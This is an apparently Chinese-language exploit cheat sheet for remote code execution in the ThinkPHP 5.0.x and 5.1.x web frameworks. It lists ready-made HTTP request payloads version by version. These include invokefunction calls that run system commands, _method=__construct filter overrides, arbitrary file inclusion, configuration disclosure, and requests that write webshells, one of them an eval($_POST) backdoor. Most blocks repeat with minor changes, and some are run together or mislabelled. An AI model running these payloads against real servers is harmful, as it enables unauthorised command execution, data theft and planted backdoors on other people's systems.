thinkphp5.X漏洞利用EXP

thinkphp5最出名的就是rce，rce有两个大版本的分别

1. ThinkPHP 5.0-5.0.24
2. ThinkPHP 5.1.0-5.1.30

因为漏洞触发点和版本的不同，导致payload分为多种，其中一些payload需要取决于debug选项比如直接访问路由触发的

5.1.x ：

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x ：

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

5.0debug 无关命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.1debug 无关命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.2命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.3debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.4debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.5debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.6

debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.7

debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.8

debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.9

debug 无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents(‘a.php’,'<?php eval($_POST[a])?>’)

5.0.10

从5.0.10开始默认debug=false，debug无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.11

默认debug=false，debug无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.12

默认debug=false，debug无关命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

5.0.13

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

那有没有别的办法不开debug直接rce呢？和debug的原理一样，switch的时候进入module分支会被覆盖，那就进入到其他的分支。
在thinkphp5完整版中官网揉进去了一个验证码的路由，可以通过这个路由触发rce这个是我在

5.0.13

下试出来的payload 

“topthink/think-captcha”: “^1.0″POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

我们继续5.0.13补充补充有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.14

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert 有captcha路由时无需debug=truePOST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.15

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert 有captcha路由时无需debug=truePOST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.1

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.17

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.18

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.19

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

POST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.20

默认debug=false，需要开启debug命令执行

POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET

5.0.21

默认debug=false，需要开启debug命令执行

POST ?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc 写shellPOST _method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents(‘Y4er.php’,'<?php phpinfo();’) 有captcha路由时无需debug=truePOST ?s=captcha/calc _method=__construct&filter[]=system&method=GET POST ?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.22

默认debug=false，需要开启debug命令执行

POST ?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc 写shellPOST _method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET POST ?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.23

默认debug=false，需要开启debug命令执行

POST ?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc 写shellPOST _method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET POST ?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.24

作为5.0.x的最后一个版本，rce被修复5.1.0默认debug为true命令执行

POST ?s=index/index _method=__construct&filter[]=system&method=GET&s=calc

写shell

POST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true”

topthink/think-captcha”: “2.*”POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET POST ?s=captcha _method=__construct&filter[]=system&s=calc&method=get

5.1.1命令执行

POST ?s=index/index _method=__construct&filter[]=system&method=GET&s=calc 写shellPOST s=file_put_contents(‘Y4er.php’,'<?php phpinfo();’)&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET POST ?s=captcha _method=__construct&filter[]=system&s=calc&method=get

至此，不再一个一个版本测了，费时费力。基于__construct的payload大部分出现在5.0.x及低版本的5.1.x中。下文分析另一种rce。未开启强制路由导致rce这种rce的payload多形如

?s=index/thinkRequest/input&filter[]=system&data=pwd ?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?> ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id